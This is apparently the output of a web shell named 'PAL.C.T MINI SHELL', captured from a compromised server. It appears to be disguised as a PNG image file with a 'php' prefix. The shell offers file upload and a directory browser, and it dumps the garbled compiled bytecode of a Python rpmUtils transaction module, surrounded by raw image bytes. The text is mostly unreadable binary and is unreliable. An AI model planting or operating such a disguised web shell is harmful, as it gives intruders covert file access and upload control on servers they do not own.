php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/rpmUtils/
upload
files >> //usr/lib/python2.6/site-packages/rpmUtils/transaction.pyo

[c@sGddkZddkZdZdZdddYZddZdS(iNtTransactionWrappercBseZddZdZdZdZdZdZdZdZ	d	Z
d
ZdZhdZ
ed
ZRS(t/cCsjti||_ddddddddd	d
ddd
ddddddg|_g|_t|_dS(NtdbMatchtchecktordertaddEraset
addInstalltruntIDTXloadtIDTXglobtrollbacktpgpImportPubkeyt
pgpPrtPktstDebugtproblemstsetFlagst
setVSFlagst
setProbFilterthdrFromFdnotnexttclean(trpmtTransactionSetttst_methodsttsflagstTruetopen(tselftroot((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt__init__s,	cCs|idS(N(tclose(R((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt__del__/scCs1|io#|iid|_t|_ndS(N(RRtcloseDBtNonetFalse(R((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyR3s

	cCs+||ijo|i|St|dS(N(Rt	getMethodtAttributeError(Rtattr((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt__getattr__9scCs|iS(N(R(R((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt__iter__?scCst|i|S(N(tgetattrR(Rtmethod((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyR$BscCs+|ii||ii|iddS(Ni(RtappendRR(Rtflags((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pytpushVSFlagsJscCs%|id=|ii|iddS(Ni(RRR(R((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt
popVSFlagsNs
cCs*|iid}|ii||BdS(Ni(RR(Rtflagtcurflags((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt	addTsFlagRscCs&|iid}|ii||S(Ni(RR(RR0((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt
getTsFlagsVscCs|i}t||@S(N(R2tbool(RR/tval((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pytisTsFlagSet[sc	Cs|iti|iddjo|iitin|ii|id}g}|o1x.|D]"\}\}}}|i	|qiWn|S(sftests the ts we've setup, takes a callback function and a conf dict 
           for flags and what nottdiskspacecheckit(
R1RtRPMTRANS_FLAG_TESTtgetRRtRPMPROB_FILTER_DISKSPACERtcallbackR+(	Rtcbtconfttserrorst	reserrorstdescrtetypetmounttneed((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyttestcscCsh}g}|i}|djo|Sx|D]}|ddjoq1n|tipq1nti|}xD|tiD]5}||jot||<n||i|qWq1W|i}|djo|Sd}x|D]}|ddjoqnd}	ti|}x^||D]P}
|
|jo=||
}t|djp
||jo|	d}	Pq|q,q,W|	djo5|o|i	||i
fq|i	|qqW|S(sreturns a list of package tuples (n,a,e,v,r) that are not required by
           any other package on the system
           If headers is True then it will return a list of (header, index) tuples
           tnames
gpg-pubkeycss>x|tiD]}|VqWx|tiD]}|Vq+WdS(s% Return all the provides, via yield. N(RtRPMTAG_PROVIDEStRPMTAG_FILENAMES(thdrtprov((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt_return_all_providess	iiN(RR"RtRPMTAG_REQUIRENAMEt	miscutilstpkgTupleFromHeadertsettaddtlenR+tinstance(RtheaderstreqtorphantmithttuptrRJtpreqtpts((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pytreturnLeafNodesvsN


	


 


(t__name__t
__module__RR RR'R(R$R-R.R1R2R5RDR#R\(((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyRs										RcCs*td|}|ititiB|S(NR(RR-Rt_RPMVSF_NOSIGNATURESt_RPMVSF_NODIGESTS(Rtread_ts((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pytinitReadOnlyTransactions((RRLR"RaRRRb(((s8/usr/lib/python2.6/site-packages/rpmUtils/transaction.pyt<module>s

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`